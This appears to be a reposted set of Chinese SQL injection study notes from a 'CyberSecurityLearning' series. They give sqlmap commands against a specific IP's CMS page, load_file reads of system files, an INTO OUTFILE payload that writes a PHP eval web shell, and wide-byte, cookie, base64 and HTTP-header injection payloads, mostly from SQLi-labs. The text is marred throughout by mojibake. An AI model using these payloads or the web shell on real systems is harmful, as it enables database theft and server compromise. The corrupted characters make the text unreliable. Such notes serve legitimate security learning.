sqlmap(自動(dòng)化注入神器)
sqlmap -h可以看參數(shù)
測(cè)試
參數(shù)1、-u 后加url 檢測(cè)注入點(diǎn)
?python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"
2、--dbs? 列出所有數(shù)據(jù)庫(kù)的名字
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"? --dbs
3、--current-db? 列出當(dāng)前數(shù)據(jù)庫(kù)的名字
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"? --current-db
4、-D? 指定一個(gè)數(shù)據(jù)庫(kù)
5、--tables? 列出表名
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33" -D "cms" --tables
6、-T 指定表名
7、--columns? 列出所有的字段名
8、-C? 指定字段
9、--dump? 列出字段內(nèi)容
有些地方sqlmap是弄不出來(lái)的,只能手動(dòng)注入
get注入
| -u "url" | 檢測(cè)注入點(diǎn) |
| --dbs | 列出所有數(shù)據(jù)庫(kù)的名字 |
| --current-db | 列出當(dāng)前數(shù)據(jù)的名 |
| -D | 指定一個(gè)數(shù)據(jù)庫(kù) |
| --tables | 列出表名 |
| -T | 指定表名 |
| --columns | 列出所有字段名 |
| -C | 指定字段 |
| --dump | 列出字段內(nèi)容 |
?
post注入
打開(kāi)cms用戶登錄界面,burp抓個(gè)包,保存到post.txt
| -r post.txt | 從文件中讀入http請(qǐng)求 |
| --os-shell | 獲取shell |
| sqlmap -g "inurl:php?id=" | 利用google 自動(dòng)搜索注入點(diǎn) |
sqlmap -r post.txt?? 自動(dòng)讀取我們http數(shù)據(jù)報(bào)做注入測(cè)試
?
攜帶cookie 的認(rèn)證
要測(cè)試的頁(yè)面只有在登錄狀態(tài)下才能訪問(wèn),登錄狀態(tài)用cookie識(shí)別
--cookie ""
?
SQL 注入文件讀寫(xiě)
讀寫(xiě)文件
* 前提條件??? ?
??? 我們也可以利用SQL 注入漏洞讀寫(xiě)文件。但是讀寫(xiě)文件需要一定的條件。
??? 1. secure-file-priv(是mysql數(shù)據(jù)庫(kù)中的一個(gè)選項(xiàng),可以在phpmyadmin中看到該變量)
??? 可以在phpmyadmin 中看到該變量。(phpmyadmin---變量---secure-file-priv)
??? 該參數(shù)在高版本的mysql 數(shù)據(jù)庫(kù)中限制了文件的導(dǎo)入導(dǎo)出操作。改參數(shù)可以寫(xiě)在my.ini 配置文件中[mysqld] 下。若要配置此參數(shù),需要修改my.ini 配置文件,并重啟mysql 服務(wù)。
?
??? 關(guān)于該參數(shù)值的相關(guān)說(shuō)明
secure-file-priv 參數(shù)配置?? ??? ?含義
secure-file-priv=?? ??? ??? ??? ???? 不對(duì)mysqld的導(dǎo)入導(dǎo)出操作做限制
secure-file-priv='c:/a/'?? ??? ? ?? 限制mysqld 的導(dǎo)入導(dǎo)出操作發(fā)生在c:/a/ 下(子目錄有效)?? ??? ??? ??? ??? ??? ??? ????
secure-file-priv=null?? ??? ??? ?限制mysqld 不允許導(dǎo)入導(dǎo)出操作
打開(kāi)my.ini, 在[mysqld]下寫(xiě):寫(xiě)完后保存重啟
mysql的導(dǎo)入導(dǎo)出操作(導(dǎo)入就是寫(xiě)文件,導(dǎo)出就是讀取文件)
?
??? 2. 當(dāng)前用戶具有文件權(quán)限
?查詢語(yǔ)句[select File_priv from mysql.user where user="root" and host="localhost"]
? 3. 知道要寫(xiě)入目標(biāo)文件的絕對(duì)路徑
?
* 讀取文件操作(load_flie(要讀取文件的路徑))
??? [?id=-1' union select 1, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+ ](假設(shè)我們讀取C:\Windows\System32\drivers\etc\hosts)
?? ?load_file('')
?? ?C:\\Windows\\System32\\drivers\\etc\\hosts(寫(xiě)法1)
?? ?C:/Windows/System32/drivers/etc/hosts(寫(xiě)法2,用左斜線)
linux系統(tǒng)當(dāng)中我們路徑用做斜線來(lái)分隔,windows系統(tǒng)中我們用右斜線來(lái)分隔,但是右斜線會(huì)作為轉(zhuǎn)移字符出現(xiàn)
上面兩種寫(xiě)法選哪一種都可以
?? 應(yīng)用:打開(kāi)http://42.192.43.56/cms/show.php?id=33
打開(kāi)hacker bar---load URL后split URL
打開(kāi)SQL---Union---union select statement---輸入15
??
id=-33 發(fā)現(xiàn)11這個(gè)位置有選項(xiàng),我們直接http://42.192.43.56/cms/show.php?id=-33 UNION SELECT 1,2, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),4,5,6,7,8,9,10,11,12,13,14,15
* 寫(xiě)入文件操作(into outfile)
??? [?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]);?>',3 into outfile 'c:\\phpstudy\\www\\2.php'--+],直接傳入?yún)?shù),頁(yè)面如果不報(bào)錯(cuò),說(shuō)明寫(xiě)入成功。可以直接訪問(wèn)寫(xiě)入的文件[http://localhost/1.php]
?? ?into outfile
可以寫(xiě)入一句話木馬或者是phpinfo()
?
寬字節(jié)注入
??? 寬字節(jié)注入準(zhǔn)確來(lái)說(shuō)不是注入手法,而是另外一種比較特殊的情況。為了說(shuō)明寬字節(jié)注入問(wèn)題,我們以SQLi-labs 32 關(guān)為例子。
??? 使用[?id=1']進(jìn)行測(cè)試的時(shí)候,發(fā)現(xiàn)提交的單引號(hào)會(huì)被轉(zhuǎn)移[\']。此時(shí),轉(zhuǎn)義后的單引號(hào)不再是字符串的標(biāo)識(shí),會(huì)被作為普通字符帶入數(shù)據(jù)庫(kù)查詢。也就是說(shuō),我們提交的單引號(hào)不會(huì)影響到原來(lái)SQL 語(yǔ)句的結(jié)構(gòu)。
?
??? 我們通過(guò)閱讀32 關(guān)的源碼,發(fā)現(xiàn)幾句非常意思的代碼,如下。
??? 此網(wǎng)頁(yè)在連接數(shù)據(jù)庫(kù)時(shí),會(huì)將字符編碼設(shè)置為GBK 編碼集合,然后進(jìn)行SQL 語(yǔ)句拼接,最后進(jìn)行數(shù)據(jù)庫(kù)查詢。
??? GBK編碼依然采用雙字節(jié)編碼方案,其編碼范圍:8140-FEFE,剔除xx7F碼位,共23940個(gè)碼位。共收錄漢字和圖形符號(hào)21886個(gè),其中漢字(包括部首和構(gòu)件)21003個(gè),圖形符號(hào)883個(gè)。GBK編碼支持國(guó)際標(biāo)準(zhǔn)ISO/IEC10646-1和國(guó)家標(biāo)準(zhǔn)GB13000-1中的全部中日韓漢字,并包含了BIG5編碼中的所有漢字。GBK編碼方案于1995年12月15日正式發(fā)布,這一版的GBK規(guī)范為1.0版。
??? 轉(zhuǎn)移字符[\] 的編碼是5c,正好在GBK 編碼范圍之內(nèi),也就是說(shuō)我們可以在單引號(hào)之前提交一個(gè)十六進(jìn)制編碼的字符,與5c 組成一個(gè)GBK 編碼的漢字。這樣SQL 語(yǔ)句傳入數(shù)據(jù)庫(kù)的時(shí)候,轉(zhuǎn)移字符5c ,會(huì)被看作GBK 漢字的低位字節(jié)編碼,從而失去轉(zhuǎn)義的作用。
??? 如果我們提交這樣的參數(shù)[?id=1000%df' union select 1,2,3 --+],就可以使用聯(lián)合查詢進(jìn)行注入了。
??? (轉(zhuǎn)移失效了,單引號(hào)會(huì)作為控制字符出現(xiàn))
??? 0xdf5c 就是一個(gè)漢字"運(yùn)"。(右斜線是5c)
先試一下id=1,id=2? ——》頁(yè)面不一樣(可以采用聯(lián)合查詢)
判斷注入點(diǎn)的時(shí)候添加一個(gè)單引號(hào)
再用雙引號(hào)試試看,發(fā)現(xiàn)不管是單引號(hào)還是雙引號(hào)都會(huì)被轉(zhuǎn)義
我們要想辦法讓轉(zhuǎn)義失效,我們可以提交[?id=1000%df' union select 1,2,3 --+],
如果我們?id=1%df'
我們--+看看(沒(méi)報(bào)錯(cuò)):由于這個(gè)地方手動(dòng)添加了一個(gè)單引號(hào),我們--+就要注釋原來(lái)SQL語(yǔ)句中的引號(hào),達(dá)到閉合狀態(tài)
現(xiàn)在就可以判斷列數(shù)...
我們想讓1,2,3顯示到頁(yè)面中來(lái),我們就用 and 1=2,或者id=-1,得知2,3是回顯位
寬字節(jié)注入就是由于我們程序在編譯時(shí)設(shè)置了set name gbk,把編碼格式設(shè)置為GBK,并且我們提交的數(shù)據(jù)會(huì)有一個(gè)右斜線的單引號(hào)的轉(zhuǎn)義
這時(shí)候提交%df,就可以去“吃掉”轉(zhuǎn)義字符,使我們單引號(hào)生效,達(dá)到注入的目的
?
Cookie 注入
??? 我們使用SQLi-labs 第20 關(guān)來(lái)說(shuō)明Cookie 注入問(wèn)題。
??? Cookie 注入的注入?yún)?shù)需要通過(guò)Cookie 提交,可以通過(guò)[document.cookie] 在控制臺(tái)完成對(duì)瀏覽器Cookie 的讀寫(xiě)。
??? 來(lái)到less-20,在控制臺(tái)輸入
??? [document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"]
??? 刷新頁(yè)面即可。
我們進(jìn)行cookie注入的時(shí)候用burpsuite比較好
先掛個(gè)代理
打開(kāi)burp
?然后我們輸入
username:Dumb
password:Dumb
抓個(gè)包
我們分析一下登錄之前和登錄之后有什么區(qū)別(在repeater模塊中右鍵發(fā)送到comparer模塊,兩個(gè)都發(fā))【登錄前后都抓個(gè)包】
base64 注入
base64不是加密方式,是一種編碼方式
??? 我們以SQLI-labs 第22關(guān)來(lái)說(shuō)明base64 注入的問(wèn)題。
??? base64 注入也是比較簡(jiǎn)單的,只不過(guò)將注入字段經(jīng)過(guò)base64 編碼。經(jīng)過(guò)測(cè)試,發(fā)現(xiàn)22 關(guān)屬于Cookie 型的base64 注入。我們可以使用報(bào)錯(cuò)注入手法,payload
??? [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"]
??? 在控制臺(tái)輸入???????
[document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]。
??? 刷新瀏覽器網(wǎng)頁(yè)即可。
?
HTTP 頭部注入
??? http 頭部注入就是指注入字段在HTTP 頭部的字段中,這些字段通常有User-Agent、Referer 等。
* User-Agent 注入
??? 如SQLi-labs 第18 關(guān)。
??? payload
??? [User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]?
?
* Referer 注入?? ?
??? 第19 關(guān),注入字段在Referer 中
??? [hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]
?
?
?
?
總結(jié)
以上是生活随笔為你收集整理的【CyberSecurityLearning 55】SQL注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 2015年《大数据》高被引论文 Top1
- 下一篇: 【CyberSecurityLearni